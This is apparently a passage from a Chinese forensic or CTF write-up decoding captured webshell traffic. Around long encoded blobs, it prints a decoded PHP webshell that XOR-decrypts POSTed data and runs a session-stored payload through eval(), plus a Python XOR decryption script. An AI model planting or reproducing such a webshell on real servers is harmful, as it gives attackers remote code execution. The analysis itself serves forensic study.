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
组成，第一段的是一段倒叙base64，解密后得到
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
然后我们可以看到第二段的加密形式是一个xor，稍微写一下解密脚本：
import base64
import os
def decode(D,K):
D = list(D)
for i in range(len(D)):
c = K[i+1&15]
D[i] = D[i]^c
return bytes(D)
_pass = 'pass'
key = '3c6e0b8a9c15224a'
p='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